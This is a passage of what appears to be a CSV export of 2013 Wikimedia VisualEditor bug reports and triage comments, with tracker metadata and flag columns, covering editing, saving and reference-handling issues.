+On mediawiki.org, I have enabled the ""Add an [edit] link for the lead section of a page"" gadget and the ""Enable section editing via [edit] links"" Preference (in the Editing tab).
+
+If I go to a wiki page on mediawiki.org and click ""edit"" or ""edit source"" next to the title of an article (e.g., on https://www.mediawiki.org/wiki/Wikimedia_Labs ), then the VisualEditor link correctly thinks I want section 0, the lead section:
+
+https://www.mediawiki.org/w/index.php?title=Wikimedia_Labs&veaction=edit&section=0
+
+but the ""edit source"" link thinks I want section #1 and thus brings me to edit the ""Background"" section:
+
+https://www.mediawiki.org/w/index.php?title=Wikimedia_Labs&action=edit&section=1
+
+This may be a problem with the gadget rather than with VE, but it only started recently, so I think it might be a VE-related issue.  (I have looked at Bug 51030 - ""Edit link for lead section no longer works"" which sounds sort of separate.)  I shall also mention this bug in the talk page of the relevant gadget.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1376623920,1376668133.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-bid73jyquzumwcuffblp,task_description,invalid,True,c1,3,False,False,True,6,,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+237523,"""edit lead section"" link incorrectly points to second section",Definitely a problem with the gadget.,,,1376668133,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bid73jyquzumwcuffblp,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+54908,"VisualEditor: ""Error: Unknown error"" when creating page on test2wiki","**Author:** `sumanah`
+
+**Description:**
+close-up of error message and greyed button
+
+1. Try to use the VE to create a page at https://test2.wikipedia.org (while logged in, if that makes a difference).
+
+2. Click ""Save page"" button.
+
+The ""Save page"" button greys out and ""Error: Unknown error"" shows up to its left.  The user assumes that the page has not been saved.  But it has been created, e.g., https://test2.wikipedia.org/wiki/Kim_Stanley_Robinson .
+
+By the way, if the user reacts to the error by clicking Review changes and then getting back to Save, everything works fine.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11279}",Needs Triage,90.0,1376614380,1383015953.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-aphzv5yajhoubslqbzir,task_description,resolved,True,c1,3,False,False,False,6,,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+237410,"VisualEditor: ""Error: Unknown error"" when creating page on test2wiki","I think this was due to a bug in the save dialog that we fixed last month; closing. If it re-occurs, please re-open this bug so we can fix this issue too.",,,1383015953,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aphzv5yajhoubslqbzir,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+237405,"VisualEditor: ""Error: Unknown error"" when creating page on test2wiki","**sumanah** wrote:
+
+Also, as you can see in https://test2.wikipedia.org/wiki/Special:Contributions/Sharihareswara_%28WMF%29 and (for instance) https://test2.wikipedia.org/w/index.php?title=Kim_Stanley_Robinson&oldid=57690 , those creation edits don't get the ""VisualEditor"" tag.",,,1376676868,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-aphzv5yajhoubslqbzir,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+54847,"VisualEditor: Edit summary length counter ""hidden"" on it.wp","This does not affect Firefox, from what I saw - I used Chrome.
+I'd add a screenshot but it is really just as the summary says, 
+the number is there and it is working but you can not see it because the equivalent for ""Watch this page"", which is ""Aggiungi agli osservati speciali"", overlaps it (only the last word, of course).
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1376489160,1394501931.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-z73kr2qs67okpafmzjog,task_description,resolved,True,c1,3,False,False,False,6,,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+233805,"VisualEditor: Edit summary length counter ""hidden"" on it.wp",This was I think fixed some time ago. Sorry for the very slow triage.,,,1394501931,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-z73kr2qs67okpafmzjog,task_subcomment,,True,c1,3,True,,,36,,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+54814,End of transcluded page not/incorrectly detected,"Screenshot 1
+
+https://de.wikipedia.org/wiki/Knebel transcludes https://de.wikipedia.org/wiki/Konrad_Knebel
+
+Only 2 lines are transcluded but the VisualEditor does not detect the end of the transclusion, see screenshot 1.
+
+The other 3 lines are handled as content of this ""template"", see screeshot 2.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://de.wikipedia.org/wiki/Knebel
+
+**Attached**: {F11960}",Needs Triage,90.0,1376417640,1376639350.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-es2flh3nsdngj3dxtuxi,task_description,resolved,True,c1,3,False,False,True,6,,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+257002,End of transcluded page not/incorrectly detected,"
+
+*** This bug has been marked as a duplicate of bug 51119 ***",,,1376639350,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-es2flh3nsdngj3dxtuxi,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+256996,End of transcluded page not/incorrectly detected,"Created attachment 13094
+Screenshot 2
+
+**Attached**: {F11961}",,,1376417681,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-es2flh3nsdngj3dxtuxi,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+54798,VisualEditor: Adding more than one empty line (via Return) results in only 1 blank line being saved.,"Input in VisualEditor and Output after saving (+ Parsoid Server output)
+
+MediaWiki:
+1.22alpha (ffa9b0a) 19:02, 11. Aug. 2013
+
+VisualEditor (Version 0.1.0)(0e76b1b)20:01, 11. Aug. 2013
+
+ParsoidServer:
+commit 808cc39c81df83daaec458c81edbd126fd1dd19a
+Author: Subramanya Sastry <ssastry@wikimedia.org>
+Date:   Mon Aug 12 16:15:24 2013 -0500
+
+
+Adding more than one empty line isn't possible in the VisualEditor extension. Is this a desired behaviour?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11917}",Needs Triage,90.0,1376401560,1397676105.0,PHID-USER-26asvhtv4jalaeeuigbm,False,,False,PHID-TASK-ia2t3u7dnvzwa74mm3vr,task_description,declined,True,c1,3,False,False,False,6,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,1
+255714,VisualEditor: Adding more than one empty line (via Return) results in only 1 blank line being saved.,"Multiple sequential blank paragraphs are collapsed to one by design (we provide an HTML editor, not a desktop publishing system).",,,1397676105,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ia2t3u7dnvzwa74mm3vr,task_subcomment,,True,c1,3,True,,,41,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+255708,VisualEditor: Adding more than one empty line (via Return) results in only 1 blank line being saved.,"Still happening with the following VE-commit
+
+commit c98a964d5f8495f0d16af9229abbeb0449042d1e
+Merge: 3d01a5b e7aed52
+Author: jenkins-bot <jenkins-bot@gerrit.wikimedia.org>
+Date:   Wed Sep 18 01:11:46 2013 +0000
+Merge ""Fix check for preformatted when stripping whitespace""
+
+Browser: Chrome 29.0.1547.66 m W764bit",,,1379658982,,PHID-USER-26asvhtv4jalaeeuigbm,False,,,PHID-TASK-ia2t3u7dnvzwa74mm3vr,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1
+255701,VisualEditor: Adding more than one empty line (via Return) results in only 1 blank line being saved.,Confirmed this is still happening on en.wp (wmf 15) and mediawiki.org (wmf 16),,,1378425096,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ia2t3u7dnvzwa74mm3vr,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+255688,VisualEditor: Adding more than one empty line (via Return) results in only 1 blank line being saved.,"I've tested it with the VisualEditor on the official mediawiki-page. Here it works: Im able to enter more than one line break. Can you guys reproduce my problem with my version?
+
+I updated my VE to the latest master-branch-commit: 
+
+commit 2c4e9d832374f095d3fa9d43b845ac7c7083aeb4
+Merge: c84c47a 7673a39
+Author: jenkins-bot <jenkins-bot@gerrit.wikimedia.org>
+Date:   Wed Aug 14 22:00:12 2013 +0000
+Merge ""Support previews and concurrent updates in ce.GeneratedContentNode""
+
+Browser-Information: Chrome on Windows 7 64bit 28.0.1500.95 
+
+>>> Still the same problem.",,,1376631319,,PHID-USER-26asvhtv4jalaeeuigbm,False,,,PHID-TASK-ia2t3u7dnvzwa74mm3vr,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,1,1,1
+255680,VisualEditor: Adding more than one empty line (via Return) results in only 1 blank line being saved.,"Sounds like VE, as we'll produce empty lines fr p/br content just fine. Moving to VE.",,,1376612281,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ia2t3u7dnvzwa74mm3vr,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+255674,VisualEditor: Adding more than one empty line (via Return) results in only 1 blank line being saved.,Is this a question about the VE interface (in which case you should either file this against the VE component OR show up on IRC and ask on #mediawiki-visualeditor) or the wikitext that is generated?,,,1376407363,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ia2t3u7dnvzwa74mm3vr,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+54787,VisualEditor: support article layouts,"Pages started with a copy/paste of layouts (i.e. http://en.wikipedia.org/wiki/Wikipedia:WikiProject_Football/Players ) are very, very common. VE does not seem to support this right now, making VE a very secondary choice to create articles. Probably related to https://bugzilla.wikimedia.org/show_bug.cgi?id=33105 , please feel free to mark this as a dupe if needed. Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1376387040,1383280378.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-svug2yxishcvki3vxn4q,task_description,resolved,True,c1,3,False,False,False,6,,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+255055,VisualEditor: support article layouts,"I'm going to merge this with bug 52091, which would fix the issue (you could copy-and-paste from the read HTML without needing to do anything special).
+
+*** This bug has been marked as a duplicate of bug 52091 ***",,,1383280378,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-svug2yxishcvki3vxn4q,task_subcomment,,True,c1,3,True,,,17,,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+54755,VisualEditor: reusing existing reference generates duplicate references,"All the references adding in this edit: https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox&diff=568232613&oldid=568231803 were added using the ""use existing reference"" option. 
+
+It seems that only when I added the same reference on the same line (trying to reproduce a different bug) did it reuse the existing ref rather than creating a duplicate one.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1376326380,1401473395.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-xsaz6kvx37q5kaxfiw5l,task_description,invalid,True,c1,3,False,False,False,6,,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+253306,VisualEditor: reusing existing reference generates duplicate references,"I'm not sure I understand this bug report – surely it's obvious that if you re-use a reference, we need to modify the original reference to have a name (if it doesn't already have one) so we can re-use it? That's how MediaWiki's referencing system works. Please re-open if I've missed something.",,,1401473395,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xsaz6kvx37q5kaxfiw5l,task_subcomment,,True,c1,3,True,,,47,,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+253304,VisualEditor: reusing existing reference generates duplicate references,user Biosthmors at en.wp reports that this bug is frustrating his efforts to recruit a campus ambassador because they are getting so frustrated at trying to get VE to do what it claims it will do.,,,1378727138,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-xsaz6kvx37q5kaxfiw5l,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+54742,"VisualEditor: ""existing references"" in the references dialog not identifying references","See https://pl.wikipedia.org/w/index.php?title=Wikipedysta:G%C5%BCdacz/brudnopis&oldid=37221362&veaction=edit for an example; only one citation appears as insertable.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1376287140,1402332002.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-wwlsmm4fnvqjdssb7g4d,task_description,resolved,True,c1,3,False,False,False,6,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+252663,"VisualEditor: ""existing references"" in the references dialog not identifying references","
+
+*** This bug has been marked as a duplicate of bug 50474 ***",,,1402332002,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wwlsmm4fnvqjdssb7g4d,task_subcomment,,True,c1,3,True,,,49,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+54733,VisualEditor: Cannot backspace in Edit Summary window after reviewing changes,"**Author:** `hagurganus`
+
+**Description:**
+When typing an edit summary in the Edit Summary window, I was unable to backspace. It seemed to let me highlight and _replace_ text, but even then, I could not highlight and hit the backspace key to _remove_ the text, I had to highlight and hit spacebar to simply enter a space, etc.
+
+It could be that this is intentional, but I highly doubt this.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1376249940,1377833584.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-vis7xnmoa7ngc2i4ds2i,task_description,resolved,True,c1,3,False,False,True,5,,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+252253,VisualEditor: Cannot backspace in Edit Summary window after reviewing changes,"I believe that this is the same as bug 50722, yes.
+
+*** This bug has been marked as a duplicate of bug 50722 ***",,,1377833584,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vis7xnmoa7ngc2i4ds2i,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+252250,VisualEditor: Cannot backspace in Edit Summary window after reviewing changes,I think this is likely to be bug 50722?,,,1377449242,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-vis7xnmoa7ngc2i4ds2i,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+252245,VisualEditor: Cannot backspace in Edit Summary window after reviewing changes,"I've been encountering this for a while and just worked out how to reproduce this:
+
+1. Edit a page in VE
+2. Enter an edit summary (doesn't matter what) but don't save
+3. Review your changes.
+4. Return to editing the page without saving (e.g. using the ^ button). It doesn't matter if you make any more changes or not.
+5. Click save page again
+
+Expected behaviour
+* The edit summary input box works like a normal text entry field
+
+Actual behaviour
+* The delete, backspace and cursor keys do not work.
+* Text can only be selected using the mouse
+* Selected text can be removed by overwriting, by ""delete"" or ""cut"" from the RMB menu, or by using the ctrl+x shortcut to cut.
+
+This bug was originally reported on Safari/MacOS X, I encountered it using Firefox 23/Linux",,,1376475552,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-vis7xnmoa7ngc2i4ds2i,task_subcomment,,True,c1,3,False,,,6,,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+54669,"VisualEditor: After ""wikimarkup"" popup, save button temporarily does not work","An editor reports that he lost his work when an extensive edit unexpectedly triggered the ""wikimarkup"" popup and - after he dismissed it - the ""save"" button became unresponsive. The button appeared as normal but did not react to being selected.
+
+He was using Windows 7 and Firefox.
+
+I reproduced this using Windows 7 and Chrome (didn't matter if I removed the wikimarkup or not), and on further investigation found that the ""save"" button will respond as expected after a delay.
+
+The issue, of course, is that if this editor aborted his edit because he thought the system would not save, others are likely to think that as well.
+
+Not sure if anything can be done to make the save button immediately responsive or to figure out why it wouldn't be or to make it apparent to editors that the option to ""save"" will return.
+
+The conversation can be found here:
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=567809017#Wikitext_error_message
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1376050200,1383015225.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-avc3fsxulmn56uqgbsy6,task_description,resolved,True,c1,3,False,False,False,5,,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+247647,"VisualEditor: After ""wikimarkup"" popup, save button temporarily does not work","Is this still occurring? I think we've fixed it, so am marking as FIXED, but would prefer to get confirmation.",,,1383015225,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-avc3fsxulmn56uqgbsy6,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+247642,"VisualEditor: After ""wikimarkup"" popup, save button temporarily does not work","en.wp user GermanJoe reports a probably related problem:
+
+After dismissing the wikitext warning the ""upper third and right corner"" of the save and cancel buttons are not clickable."" and that ""Those partial locks are only released, after you clear your browser cache (stopping VE is not enough) ""
+
+GermanJoe was using Windows XP, FF 22, vector.js and a 1280 x 1024 resolution for test. He did not experience the problem in 800x600 resolution.
+
+Elitre was able to reproduce this and added that ""this behavior changes if you zoom in or out (that is, if the buttons get bigger or smaller)""
+
+I reproduce this using Monobook in Firefox 23 on Linux, but zooming the page did not result in changed behaviour for me.",,,1376141839,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-avc3fsxulmn56uqgbsy6,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,1
+54646,VisualEditor: don't display all tools by default to new editors,"en.wp user Ruud Koot suggests that certain tools, such as underline and font colour (bug 52645) that are not normally wanted/needed in articles shouldn't be available to new editors.
+
+Personally I think everything should be available (this avoids the need for new classes of editor permissions) but just not shown by default. What is shown/not shown by default needs to be configurable on-wiki per wiki (and possibly per namespace).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49617",Needs Triage,90.0,1375957260,1383015740.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-vemzxauwwwilvulip65t,task_description,invalid,True,c1,3,False,False,False,5,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+246454,VisualEditor: don't display all tools by default to new editors,This has been somewhat overtaken by changes to the toolbar; closing as INVALID.,,,1383015740,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vemzxauwwwilvulip65t,task_subcomment,,True,c1,3,True,,,17,,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+54643,Parsoid or VisualEditor:  __NOTOC__ sometimes replaced by copy of categories,"en.wp user Ruud Koot reports that occasionally he gets "" weird, random and unexplainable corruptions of wikitext on save"" when using the VisualEditor.
+
+The only example he gives is ""e.g., a __NOTOC__ being replaced with a copy of the categories""
+
+Bug 48231 might have something to do with this, but I confess to not understanding all the technical language there.
+
+--------------------------
+**Version**: unspecified
